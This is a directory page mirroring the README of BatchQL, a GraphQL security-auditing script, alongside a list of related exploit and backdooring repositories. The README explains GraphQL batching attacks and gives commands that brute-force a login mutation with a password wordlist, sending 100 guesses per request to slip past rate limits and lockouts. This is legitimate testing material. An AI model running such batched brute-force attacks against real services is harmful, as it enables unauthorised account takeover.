All Projects → assetnote → batchql

assetnote / batchql

Licence: other
GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to batchql

Windows-10-tweaks
This repo contains multiple scripts to optimize windows 10
Stars: ✭ 37 (-85.26%)
Mutual labels:  batch
sync-engine-example
Synchronization Algorithm Exploration: Techniques to synchronize a SQL database with external destinations.
Stars: ✭ 17 (-93.23%)
Mutual labels:  batch
MSF-Self-Defence
Self defense post module for metasploit
Stars: ✭ 18 (-92.83%)
Mutual labels:  exploit
pwn-pulse
Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)
Stars: ✭ 126 (-49.8%)
Mutual labels:  exploit
PocOrExp in Github
聚合Github上已有的Poc或者Exp,CVE信息来自CVE官网。Auto Collect Poc Or Exp from Github by CVE ID.
Stars: ✭ 544 (+116.73%)
Mutual labels:  exploit
fusee-nano
A minimalist re-implementation of the Fusée Gelée exploit (http://memecpy.com), designed to run on embedded Linux devices. (Zero dependencies)
Stars: ✭ 49 (-80.48%)
Mutual labels:  exploit
LogServiceCrash
POC code to crash Windows Event Logger Service
Stars: ✭ 23 (-90.84%)
Mutual labels:  exploit
quarkus-jberet
Quarkus Extension for Batch Applications.
Stars: ✭ 26 (-89.64%)
Mutual labels:  batch
easy qsub
Easily submitting multiple PBS jobs or running local jobs in parallel. Multiple input files supported.
Stars: ✭ 26 (-89.64%)
Mutual labels:  batch
ee.Screen
Takes screenshots of web pages for the list of URLs. Various resolutions, multiple formats (JPG, PDF, PNG and TXT)
Stars: ✭ 19 (-92.43%)
Mutual labels:  batch
DoubleStar
A personalized/enhanced re-creation of the Darkhotel "Double Star" APT exploit chain with a focus on Windows 8.1 and mixed with some of my own techniques
Stars: ✭ 140 (-44.22%)
Mutual labels:  exploit
CVE-2019-8449
CVE-2019-8449 Exploit for Jira v2.1 - v8.3.4
Stars: ✭ 66 (-73.71%)
Mutual labels:  exploit
Ultimate-Guitar-Hack
The first tool to download any Guitar Pro file, including 'Official' from Ultimate Guitar
Stars: ✭ 61 (-75.7%)
Mutual labels:  exploit
aly
Command Line Alias Manager and Plugin System - Written in Golang
Stars: ✭ 21 (-91.63%)
Mutual labels:  batch
Batch-Antivirus
Batch Antivirus, a powerful antivirus suite written in batch with real-time protection and heuristical scanning.
Stars: ✭ 26 (-89.64%)
Mutual labels:  batch
mongoose-plugin-cache
The Perfect Marriage of MongoDB and Redis
Stars: ✭ 42 (-83.27%)
Mutual labels:  batch
SubRosa
Basic tool to automate backdooring PE files
Stars: ✭ 48 (-80.88%)
Mutual labels:  exploit
go-gtfo
gtfo, now with the speed of golang
Stars: ✭ 59 (-76.49%)
Mutual labels:  exploit
Discord-Block-Bypass
Simple script that utilities discord's flaw in detecting who blocked who.
Stars: ✭ 24 (-90.44%)
Mutual labels:  exploit
CRAX
CRAX: software CRash analysis for Automatic eXploit generation
Stars: ✭ 44 (-82.47%)
Mutual labels:  exploit

BatchQL

BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements.

When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks.

GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.

Detections

This tool is capable of detecting the following:

  • Introspection query support
  • Schema suggestions detection
  • Potential CSRF detection
  • Query name based batching
  • Query JSON list based batching

Attacks

Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input.

Usage

Enumeration

❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080

Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

Batching Attacks

  1. Save a file that contains your GraphQL query i.e. acc-login.txt:
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
  emailLoginRemembered(loginInput: $loginInput) {
    authToken {
      accessToken
      __typename
    }
    userSessionResponse {
      userToken
      userIdentity {
        userId
        identityType
        verified
        onboardingStatus
        registrationReferralCode
        userReferralInfo {
          referralCode {
            code
            valid
            __typename
          }
          __typename
        }
        __typename
      }
      __typename
    }
    __typename
  }
  }
  1. Run the following command to run a GraphQL batching attack:
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

The above command does the following:

  • Specifies a query from a local file --query acc-login.txt.
  • Specifies a wordlist --wordlist passwords.txt
  • Specifies the variable input with the replacement identifier -v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}
  • Specifies the batch size --size 100
  • Specifies the endpoint -e http://re.local:5000/graphiql
  • Specifies a proxy -p localhost:8080

References

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].